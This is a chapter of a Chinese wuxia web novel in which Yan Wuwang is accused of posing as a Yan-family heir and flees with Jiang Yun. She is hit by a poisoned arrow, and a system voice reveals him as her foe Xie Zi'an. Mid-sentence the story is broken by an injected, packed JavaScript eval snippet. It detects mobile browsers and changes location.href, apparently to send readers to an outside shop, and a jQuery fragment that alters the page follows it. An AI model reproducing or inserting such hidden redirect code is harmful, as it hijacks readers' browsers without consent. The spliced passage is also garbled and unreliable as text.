36. 第 36 章

作品:《我在江湖苟命(穿书)

    言无望站在人群中央,面对那两名言家人的质问,神色依旧平静如水。


    他静静地看着那两人,声音冷静而沉稳:“在下无需说谎,我确实是言家后人。至于言家在外的子孙……想必二位心中应当有定论才对。”


    这话说得意味深长。


    那年长的言家人脸色微变,随即吹着胡子瞪着眼,愤愤道:“简直是一派胡言!”他转向众人,高声疾呼,“这人冒充我言家后人,心性狡诈!还望各位能擦亮眼睛,小心被蒙蔽了过去!”


    姜筠站在人群里,看着言无望,她不动声色地挤过人群,站到了他身旁。


    言无望转头看她,眼中闪过一丝惊讶,随即化作温暖的笑意。他嘴唇微动,无声地说了句:“我真的是言家后人。”


    姜筠点点头,声音不大,却很坚定:“放心吧,我相信你!”


    话音刚落,人群中忽然响起一声高呼。


    “你说他不是言家人他就不是了?”


    许清川嗓门大得全场都能听见:“那我说你们两个也不是言家人呢!你们是不是也不是了?”


    这话一出,人群中便有几个人跟着轻声应和。


    “许公子说得对啊……咱们谁也不认识南域言家的人,他们说是就是了?说人不是就不是了?”


    “就是就是,我看言公子周身正派,定不是什么虚伪、攀附名望之人!”


    那年轻些的言家人脸色一沉,眼中闪过恼怒。他上前一步,从怀中掏出那枚玉牌,高高举起。


    “看清楚了,各位!”


    玉牌在阳光下泛着温润的光,上面那个“言”字清晰可见。


    “这是我言家人自出生起便由长辈赐予的家族令牌,此令牌为南域特有的玉石雕刻而成,是每一个言家子孙的印号!”


    他举着玉牌,穿过人群,径直走到言无望面前,目光咄咄逼人,“这位公子,你若真是言家人,可否掏出你的玉牌?在下验明真伪!”


    姜筠心头一松,不就是个玉牌吗?好像谁没有一样?


    她转头看向言无望,等着他掏出东西打脸。


    一秒。


    两秒。


    三秒。


    言无望没有动,姜筠愣住了。


    “言无望?”她小声唤道。


    言无望依旧没有动,他的目光落在那枚玉牌上,眼中翻涌着复杂的情绪,怀念、痛苦、愤怒,还有深深的无力。


    “哈哈哈哈!”那言家人大笑起来,“各位都看到了吧?无需老夫再多言了!”


    人群中顿时炸开了锅。


    “他没有玉牌啊?”


    “人家不都说了么,他们家族的都有,他没有……那不就是假的么?”


    “可言公子看着不像坏人啊……”


    “知人知面不知心!”


    姜筠不甘心地看向言无望,目光里带着一丝她自己都没察觉的祈求。


    言无望对上她的目光,喉咙动了动,终于开口。他的声音很轻,像是从很远的地方飘来:“曾经是有的,只不过……”


    他顿了顿,闭上眼睛,再睁开时眼眶微微泛红。


    “只不过都没了,全都没了。”


    姜筠心头一震,什么叫“都没了”?


    她还没来得及细想,人群中已经有人开始发难。


    妙善站在一旁,眉眼微垂,一副惋惜之情:“如此说来,言公子的身份就很可疑了。”


    这话像一颗石子投入湖中,激起千层浪。


    一个粗犷的声音从人群中炸开:“既然不是南域言家的人,为何要欺骗众人?是何居心?”


    妙善歪了歪头,看着言无望,似笑非笑:“为何呢?言——哦,不对,你不是言家人,那我该怎么称呼你呢?”


    言无望抬起头,目光扫过众人,最后落在妙善脸上。他的声音依旧平静,却带着一种说不出的沉重:“信与不信,各位心中自有判断。在下言尽于此。”


    “判断?”另一个声音响起,“用假身份混进来,妄图想要成为武林盟主,到底有何用意?”


    “对啊!”又有人接话,“都说这位言公子为武林除害,可如今我们对玄月门仍旧知之甚少。反倒是这位言公子,去到哪里,哪里就能遇见玄月门的人。若说都是巧合,恐怕有些不寻常吧?”


    这话一出,众人纷纷点头。


    “确实……肃城的事,他怎么那么巧就在?”


    “还有锻刀门,也是他赶上的。”


    “莫非……”


    有人压低声音,却故意让周围人都能听见:“莫非是玄月门的卧底?”


    这句话像一把火,瞬间点燃了全场。


    “玄月门卧底?!”


    “难怪他武功这么高,来历却不明!”


    “说不定那些功绩都是假的!是他和玄月门串通好的!”


    南宫钰原本站在一旁默不作声,此刻也开了口。他目光狐疑地在言无望和姜筠之间转了个来回,缓缓道:“言公子身份有假,那他身边的这位姜姑娘……也未必就真实吧?”


    姜筠心头火起,南宫钰你这个墙头草!明明刚才还支持言无望,转脸就质疑起了她?


    可她没有开口反驳,因为有人比她更激动。


    “胡说八道!”许清川拼命想冲过来,却被许凌云一指点中穴道,动弹不得。他急得满脸通红,对着父亲大喊,“爹!你快放开我!”


    许凌云面无表情,仿佛什么都没听见,周围的议论声越来越响,越来越尖锐。


    “对!让他们说清楚!”


    “说清楚!”


    有人提议:“直接把两人抓起来,一审便知!”


    话音刚落,便有人拔剑出鞘。寒光闪烁,剑锋直指言无望和姜筠。


    言无望环视四周,目光扫过那些或愤怒、或狐疑、或冷漠的面孔,最后定在一个人身上——妙善。


    和尚站在人群中,一尘不染,眉眼含笑,正看着他。见言无望看过来,妙善嘴角微微扬起,露出一个轻蔑的笑容。那笑容转瞬即逝,却让言无望心头一凛。


    这一切……都是有计划的?


    妙善收回目光,转向主位上的苏天元,语气诚恳:“苏宗主,我觉着孙掌门的话很有道理。不如将这二人关进大牢,严加审讯,也好还武林一个真相。”


    苏天元沉吟片刻,点了点头。


    顷刻间,人群蜂拥而上,将两人团团围住。


    言无望拔剑出鞘,宝剑在阳光下泛起寒光。姜筠也抽出腰间宝刀,紧紧握住。


    “跟紧我。”言无望低声道,姜筠点点头,心跳如擂鼓。


    刀光剑影,喊杀声四起。


    两人背靠背,奋力厮杀,那些围上来的人虽多,却大多是乌合之众,真正的高手都站在外围观望。谁也不愿意第一个冲上去,成为两人刀剑下的亡魂。


    一路厮杀,一路奔逃。


    终于,两人冲出了天策宗,跑进城外的一片树林。


    姜筠提着刀,大口喘气。她的衣服被划破了几道口子,头发散乱,样子狼狈不堪。她回头看了一眼,见没人追来,一屁股坐在地上。


    “这些人……真是一句话不合就打打杀杀!”她喘着气骂道,“刚才还夸你呢,转头就要抓你!墙头草都没他们变得快!”


    言无望也坐了下来,靠在一棵树上。他身上的伤不比姜筠少,衣袍上好几处血迹,但神色还算镇定。


    他看着姜筠,目光柔和得不像话。


    “筠儿,”他轻声开口,“谢谢你愿意跟着我。”


    姜筠一愣,随即摆摆手:“我不跟着你行么?我要是留在那儿,不就真得关进大牢了?”


    她顿了顿,又叹口气:“现在怎么办呀?”


    言无望躺在草地上,望着头顶的树影,沉默片刻,轻声道:“我也不知道。”


    姜筠差点跳起来:“啊?你不能不知道啊!”


    言无望


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282418|195505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    转头看她,眼中带着一丝无奈的笑:“我真的不知道。”


    姜筠被他看得没了脾气,坐在地上想了半天,忽然眼睛一亮:“灵秀还没赶到!要不然我们去鹿霞山吧?到了那儿再给灵秀写封信告诉她!”


    言无望想了想,点点头:“也好。”


    两人歇了片刻,起身继续赶路。


    天色渐渐暗了下来,乌云从远处压过来,遮住了最后一丝天光,空气里透着潮湿的腥气,眼看就要下雨。


    姜筠抬头看了看天,正要说话,忽然听见身后传来急促的马蹄声。


    她猛地回头,十几骑黑衣人从暮色中冲出来,马蹄踏起尘土飞扬。为首那人身形高瘦,面目冷峻,正是千羽。


    “追来了!”姜筠惊呼。


    话音刚落,箭矢破空而来。


    言无望一把推开姜筠,自己侧身避过,堪堪躲开一箭。可第二箭、第三箭紧跟着射来,密集如雨。


    两人拼命闪躲,一边跑一边挥刀格挡。


    千羽一挥手,十几个黑衣人翻身下马,提着刀剑冲了上来。


    姜筠咬牙挥刀,凤玑刀在她手中发出低沉的嗡鸣。她不知道自己砍了多少刀,只感觉手臂已经酸得快要抬不起来。


    言无望被三个人围攻,渐渐落了下风。他身上的伤太多,动作越来越慢。


    忽然,一支冷箭从黑暗中射来。


    那箭直奔言无望后心,又快又狠,根本来不及躲闪,姜筠想都没想,一个箭步冲过去,挡在他身前。


    “噗——”


    箭矢没入腰腹,剧痛瞬间炸开。


    姜筠闷哼一声,整个人软了下去。


    “筠儿!”言无望一把接住她,声音都在发抖。


    千羽正要带人继续围攻,忽然听得空中一声“咻——”


    一道尖锐的破空声划破夜空,紧接着,一朵烟花在天际炸开,照亮了半边天。


    千羽抬头一看,脸色骤变。


    他深深看了姜筠一眼,目光复杂难辨,随即一挥手,带着手下迅速消失在夜色中。


    雨终于落下来了。


    瓢泼大雨倾盆而下,打在脸上生疼。


    言无望抱着姜筠,她的嘴唇有些发紫,那箭显然是淬了毒的。


    他心头一紧,声音都在发抖:“筠儿……”


    他抱着她,在雨中跌跌撞撞地跑,终于找到一处山洞。


    洞里漆黑一片,只有洞口透进微弱的光。言无望将姜筠轻轻放下,撕下自己的衣摆,点燃火折子,就着微弱的火光查看她的伤口。


    箭入得不深,但毒性已经开始扩散。伤口周围的皮肤发紫发黑,还在往外渗着暗红的血。


    “忍一忍。”他低声道,一只手按住她,另一只手握住箭杆。


    用力一拔。


    “啊——!”


    姜筠惨叫一声,痛得意识都模糊了。她只感觉腰上一阵剧痛,然后有什么东西被抽了出去,再然后,是一双颤抖的手在给她上药、包扎。


    疼。


    太疼了。


    疼得她想哭,却连哭的力气都没有。


    迷迷糊糊中,她忽然听见一个声音。


    【叮!系统未知错误已修复,现正常启动。】


    姜筠以为自己听错了。


    【叮!已和宿主重新绑定。】


    那个声音又响了一遍。


    姜筠嘴唇动了动,用尽最后一丝力气,喃喃道:“你瞧……我好像听见了那个……傻X系统的提示音了……”


    【警报!警报!】


    【警告!终极仇敌“谢子安”识别!】


    【仇恨值100%!】


    姜筠一瞬间坐了起来。


    她眼睛瞪得溜圆,头皮发麻,后背冷汗直冒,整个人像被雷劈中一样僵在原地。


    她机械地转过头,看向那个正一脸担忧、浑身湿透、还在给她包扎伤口的人。


    言无望就是谢子安?